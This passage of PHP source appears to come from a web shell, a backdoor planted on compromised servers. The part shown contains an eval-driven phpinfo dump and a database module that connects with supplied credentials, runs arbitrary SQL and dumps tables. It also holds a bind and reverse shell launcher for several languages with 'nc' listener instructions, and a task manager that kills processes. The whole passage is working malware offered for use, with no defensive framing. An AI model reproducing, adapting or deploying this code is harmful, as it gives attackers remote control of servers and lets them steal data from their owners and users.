1927            $s_result .= "<p class='notif' onclick=\"toggle('".$s_i."')\">".$s_p."</p>";
1928            ob_start();
1929            eval("phpinfo(".$s_i.");");
1930            $s_b = ob_get_contents();
1931            ob_end_clean();
1932            if(preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)){
1933                $s_body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
1934                $s_result .= "<div class='info' id='".$s_i."'>".$s_body."</div>";
1935            }
1936        }
1937    } // working with database
1938    elseif(isset($_GP['x']) && ($_GP['x']=='db')){
1939        // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
1940        $s_sql = array();
1941        $s_sql_deleted = "";
1942        $s_show_form = $s_show_dbs = true;
1943 
1944        if(isset($_GP['dc'])){
1945            $k = $_GP['dc'];
1946            setcookie("c[".$k."]", "" ,time() - $s_login_time);
1947            $s_sql_deleted = $k;
1948        }
1949 
1950        if(isset($_COOKIE['c']) && !isset($_GP['connect'])){
1951            foreach($_COOKIE['c'] as $c=>$d){
1952                if($c==$s_sql_deleted) continue;
1953                $s_dbcon = (function_exists("json_encode") && function_exists("json_decode"))? json_decode($d):unserialize($d);
1954                foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v;
1955                $s_sqlport = (!empty($s_sql['port']))? ":".$s_sql['port']:"";
1956                $s_result .= notif("[".$s_sql['type']."] ".$s_sql['user']."@".$s_sql['host'].$s_sqlport."
1957                           <span style='float:right;'><a href='".$s_self."x=db&connect=connect&sqlhost=".$s_sql['host']."&sqlport=".$s_sql['port']."&sqluser=".$s_sql['user']."&sqlpass=".$s_sql['pass']."&sqltype=".$s_sql['type']."'>connect</a> | <a href='".$s_self."x=db&dc=".$c."'>disconnect</a></span>");
1958            }
1959        }
1960        else{
1961            $s_sql['host'] = isset($_GP['sqlhost'])? $_GP['sqlhost'] : "";
1962            $s_sql['port'] = isset($_GP['sqlport'])? $_GP['sqlport'] : "";
1963            $s_sql['user'] = isset($_GP['sqluser'])? $_GP['sqluser'] : "";
1964            $s_sql['pass'] = isset($_GP['sqlpass'])? $_GP['sqlpass'] : "";
1965            $s_sql['type'] = isset($_GP['sqltype'])? $_GP['sqltype'] : "";
1966        }
1967 
1968        if(isset($_GP['connect'])){
1969            $s_con = sql_connect($s_sql['type'],$s_sql['host'],$s_sql['user'],$s_sql['pass']);
1970            $s_sqlcode = isset($_GP['sqlcode'])? $_GP['sqlcode'] : "";
1971 
1972            if($s_con!==false){
1973                if(isset($_GP['sqlinit'])){
1974                    $s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql);
1975                    $s_c_num = substr(md5(time().rand(0,100)),0,3);
1976                    while(isset($_COOKIE['c']) && is_array($_COOKIE['c']) && array_key_exists($s_c_num, $_COOKIE['c'])){
1977                        $s_c_num = substr(md5(time().rand(0,100)),0,3);
1978                    }
1979                    setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time);
1980                }
1981                $s_show_form = false;
1982                $s_result .= "<form action='".$s_self."' method='post'>
1983                   <input type='hidden' name='sqlhost' value='".$s_sql['host']."' />
1984                   <input type='hidden' name='sqlport' value='".$s_sql['port']."' />
1985                   <input type='hidden' name='sqluser' value='".$s_sql['user']."' />
1986                   <input type='hidden' name='sqlpass' value='".$s_sql['pass']."' />
1987                   <input type='hidden' name='sqltype' value='".$s_sql['type']."' />
1988                   <input type='hidden' name='x' value='db' />
1989                   <input type='hidden' name='connect' value='connect' />
1990                   <textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".hss($s_sqlcode)."</textarea>
1991                   <p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />
1992                   &nbsp;&nbsp;Separate multiple commands with a semicolon  <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
1993                   </form>";
1994 
1995                if(!empty($s_sqlcode)){
1996                    $s_querys = explode(";",$s_sqlcode);
1997                    foreach($s_querys as $s_query){
1998                        if(trim($s_query) != ""){
1999                            $s_hasil = sql_query($s_sql['type'],$s_query,$s_con);
2000                            if($s_hasil!=false){
2001                                $s_result .= "<hr /><p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;
2002                               <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";
2003 
2004                                if(!is_bool($s_hasil)){
2005                                    $s_result .= "<table class='explore sortable' style='width:100%;'><tr>";
2006                                    for($s_i = 0; $s_i<sql_num_fields($s_sql['type'],$s_hasil); $s_i++)
2007                                        $s_result .= "<th>".@hss(sql_field_name($s_sql['type'],$s_hasil,$s_i))."</th>";
2008                                    $s_result .= "</tr>";
2009                                    while($s_rows=sql_fetch_data($s_sql['type'],$s_hasil)){
2010                                        $s_result .= "<tr>";
2011                                        foreach($s_rows as $s_r){
2012                                            if(empty($s_r)) $s_r = " ";
2013                                            $s_result .= "<td>".@hss($s_r)."</td>";
2014                                        }
2015                                        $s_result .= "</tr>";
2016                                    }
2017                                    $s_result .= "</table>";
2018                                }
2019                            }
2020                            else{
2021                                $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
2022                            }
2023                        }
2024                    }
2025                }
2026                else{
2027                    if(($s_sql['type']!='pdo') && ($s_sql['type']!='odbc')){
2028                        if($s_sql['type']=='mysql') $s_showdb = "SHOW DATABASES";
2029                        elseif($s_sql['type']=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases";
2030                        elseif($s_sql['type']=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
2031                        elseif($s_sql['type']=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
2032                        elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showdb = "SELECT \"".$s_sql['host']."\"";
2033                        else $s_showdb = "SHOW DATABASES";
2034 
2035                        $s_hasil = sql_query($s_sql['type'],$s_showdb,$s_con);
2036 
2037                        if($s_hasil!=false) {
2038                            while($s_rows_arr=sql_fetch_data($s_sql['type'],$s_hasil)){
2039                                foreach($s_rows_arr as $s_rows){
2040                                    $s_result .= "<p class='notif' onclick=\"toggle('db_".$s_rows."')\">".$s_rows."</p>";
2041                                    $s_result .= "<div class='info' id='db_".$s_rows."'><table class='explore'>";
2042 
2043                                    if($s_sql['type']=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
2044                                    elseif($s_sql['type']=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'";
2045                                    elseif($s_sql['type']=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'";
2046                                    elseif($s_sql['type']=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'";
2047                                    elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
2048                                    else $s_showtbl = "";
2049 
2050                                    $s_hasil_t = sql_query($s_sql['type'],$s_showtbl,$s_con);
2051                                    if($s_hasil_t!=false) {
2052                                        while($s_tables_arr=sql_fetch_data($s_sql['type'],$s_hasil_t)){
2053                                            foreach($s_tables_arr as $s_tables){
2054                                                if($s_sql['type']=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
2055                                                elseif($s_sql['type']=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
2056                                                elseif($s_sql['type']=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
2057                                                elseif($s_sql['type']=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
2058                                                elseif($s_sql['type']=='sqlite' || $s_sql['type']=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
2059                                                else $s_dump_tbl = "";
2060 
2061                                                $s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".$s_sql['host']."&sqlport=".$s_sql['port']."&sqluser=".$s_sql['user']."&sqlpass=".$s_sql['pass']."&sqltype=".$s_sql['type']."&sqlcode=".$s_dump_tbl;
2062 
2063                                                $s_result .= "<tr><td ondblclick=\"return go('".adds($s_dump_tbl_link)."',event);\"><a href='".$s_dump_tbl_link."'>".$s_tables."</a></td></tr>";
2064                                            }
2065                                        }
2066                                    }
2067                                    $s_result .= "</table></div>";
2068                                }
2069                            }
2070                        }
2071                    }
2072                }
2073                sql_close($s_sql['type'],$s_con);
2074            }
2075            else{
2076                $s_result .= notif("Unable to connect to database");
2077                $s_show_form = true;
2078            }
2079        }
2080 
2081        if($s_show_form){
2082            // sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
2083            $s_sqllist = array();
2084            if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "connect to MySQL <span class='desc' style='font-size:12px;'>- using mysql_*</span>";
2085            if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "connect to MsSQL <span class='desc' style='font-size:12px;'>- using mssql_* or sqlsrv_*</span>";
2086            if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "connect to PostgreSQL <span class='desc' style='font-size:12px;'>- using pg_*</span>";
2087            if(function_exists("oci_connect")) $s_sqllist["oracle"] = "connect to oracle <span class='desc' style='font-size:12px;'>- using oci_*</span>";
2088            if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "connect to SQLite <span class='desc' style='font-size:12px;'>- using sqlite_*</span>";
2089            if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "connect to SQLite3 <span class='desc' style='font-size:12px;'>- using class SQLite3</span>";
2090            if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "connect via ODBC <span class='desc' style='font-size:12px;'>- using odbc_*</span>";
2091            if(class_exists("PDO")) $s_sqllist["pdo"] = "connect via PDO <span class='desc' style='font-size:12px;'>- using class PDO</span>";
2092 
2093            foreach($s_sqllist as $s_sql['type']=>$s_sqltitle){
2094                if($s_sql['type']=="odbc" || $s_sql['type']=="pdo"){
2095                    $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
2096                   <form action='".$s_self."' method='post' />
2097                   <table class='myboxtbl'>
2098                   <tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
2099                   <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
2100                   <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
2101                   </table>
2102                   <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
2103                   <input type='hidden' name='sqltype' value='".$s_sql['type']."' />
2104                   <input type='hidden' name='sqlinit' value='init' />
2105                   <input type='hidden' name='x' value='db' />
2106                   </form>
2107                   </div>";
2108                }
2109                elseif($s_sql['type']=="sqlite" || $s_sql['type']=="sqlite3"){
2110                    $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
2111                   <form action='".$s_self."' method='post' />
2112                   <table class='myboxtbl'>
2113                   <tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
2114                   </table>
2115                   <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
2116                   <input type='hidden' name='sqltype' value='".$s_sql['type']."' />
2117                   <input type='hidden' name='sqlinit' value='init' />
2118                   <input type='hidden' name='x' value='db' />
2119                   </form>
2120                   </div>";
2121                }
2122                else{
2123                    $s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
2124                   <form action='".$s_self."' method='post' />
2125                   <table class='myboxtbl'>
2126                   <tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
2127                   <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
2128                   <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
2129                   <tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
2130                   </table>
2131                   <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
2132                   <input type='hidden' name='sqltype' value='".$s_sql['type']."' />
2133                   <input type='hidden' name='sqlinit' value='init' />
2134                   <input type='hidden' name='x' value='db' />
2135                   </form>
2136                   </div>";
2137                }
2138            }
2139        }
2140    } // bind and reverse shell
2141    elseif(isset($_GP['x']) && ($_GP['x']=='rs')){
2142        // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
2143        $s_rshost = $s_server_ip;
2144 
2145        $s_rsport = "13123"; // default port
2146        $s_rspesana = "Press &#39;  Go !  &#39; button and run &#39;  nc <i>server_ip</i> <i>port</i>  &#39; on your computer";
2147        $s_rspesanb = "Run &#39;  nc -l -v -p <i>port</i>  &#39; on your computer and press &#39;  Go !  &#39; button";
2148        $s_rs_err = "";
2149 
2150        $s_rsbind = $s_rsback = array();
2151 
2152        $s_rsbind["bind_php"] = "Bind Shell <span class='desc' style='font-size:12px;'>- php</span>";
2153        $s_rsback["back_php"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- php</span>";
2154 
2155        $s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_gcc"=>"c", "s_java"=>"java");
2156        foreach($s_access as $k=>$v){
2157            if(isset($$k)){
2158                $s_t = explode("_", $k);
2159                $s_rsbind["bind_".$v] = "Bind Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
2160                $s_rsback["back_".$v] = "Reverse Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
2161            }
2162        }
2163 
2164        if($s_win){
2165            $s_rsbind["bind_win"] = "Bind Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
2166            $s_rsback["back_win"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
2167        }
2168        $s_rslist = array_merge($s_rsbind,$s_rsback);
2169 
2170        if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one");
2171 
2172        foreach($s_rslist as $s_rstype=>$s_rstitle){
2173            $s_split = explode("_",$s_rstype);
2174            if($s_split[0]=="bind"){
2175                $s_rspesan = $s_rspesana;
2176                $s_rsdisabled = "disabled='disabled'";
2177                $s_rstarget = $s_server_ip;
2178                $s_labelip = "Server IP";
2179            }
2180            elseif($s_split[0]=="back"){
2181                $s_rspesan = $s_rspesanb;
2182                $s_rsdisabled = "";
2183                $s_rstarget = $s_my_ip;
2184                $s_labelip = "Target IP";
2185            }
2186 
2187            if(isset($_GP[$s_rstype])){
2188                if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype];
2189                if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype];
2190 
2191                if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
2192                elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;
2193 
2194                if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
2195                elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
2196                elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
2197                elseif($s_split[1]=="js") $s_rscode = $s_rs_js;
2198                elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
2199                elseif($s_split[1]=="java") $s_rscode = $s_rs_java;
2200                elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
2201                elseif($s_split[1]=="php") $s_rscode = $s_rs_php;
2202 
2203                $s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
2204                if($s_buff!="") $s_rs_err = notif(hss($s_buff));
2205            }
2206            $s_result .= "<div class='mybox'><h2>".$s_rstitle."</h2>
2207           <form action='".$s_self."' method='post' />
2208           <table class='myboxtbl'>
2209           <tr><td style='width:100px;'>".$s_labelip."</td><td><input ".$s_rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$s_rstype."' value='".$s_rstarget."' /></td></tr>
2210           <tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$s_rstype."' value='".$s_rsport."' /></td></tr>
2211           </table>
2212           <input type='submit' name='".$s_rstype."' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
2213           &nbsp;&nbsp;<span>".$s_rspesan."</span>
2214           <input type='hidden' name='x' value='rs' />
2215           </form>
2216           </div>";
2217        }
2218        $s_result = $s_rs_err.$s_result;
2219    } // task manager
2220    elseif(isset($_GP['x']) && ($_GP['x']=='ps')){
2221        $s_buff = "";
2222        // kill process specified by pid
2223        if(isset($_GP['pid'])){
2224            $s_p = trim($_GP['pid'],"|");
2225            $s_parr = explode("|", $s_p);
2226 
2227            foreach($s_parr as $s_p){
2228                if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,'9'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p);
2229                else{
2230                    if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p));
2231                    else $s_buff .= notif(exe("taskkill /F /PID ".$s_p));
2232                }
2233            }
2234        }
2235 
2236        if(!$s_win) $s_h = "ps aux"; // nix
2237        else $s_h = "tasklist /V /FO csv"; // win
2238        $s_wcount = 11;
2239        $s_wexplode = " ";
2240        if($s_win) $s_wexplode = "\",\"";
2241 
2242        $s_res = exe($s_h);
2243        if(trim($s_res)=='') $s_result = notif("Error getting process list");
2244        else{
2245            if($s_buff!="") $s_result = $s_buff;
2246            $s_result .= "<table class='explore sortable'>";
2247            if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res);
2248 
2249            $s_psarr = explode("\n",$s_res);
2250            $s_fi = true;
2251            $s_tblcount = 0;
2252 
2253            $s_check = explode($s_wexplode,$s_psarr[0]);
2254            $s_wcount = count($s_check);
2255 
2256            foreach($s_psarr as $s_psa){
2257                if(trim($s_psa)!=''){
2258                    if($s_fi){
2259                        $s_fi = false;
2260                        $s_psln = explode($s_wexplode, $s_psa, $s_wcount);
2261                        $s_result .= "<tr><th style='width:24px;' class='sorttable_nosort'></th><th class='sorttable_nosort'>action</th>";
2262                        foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\"")."</th>";
2263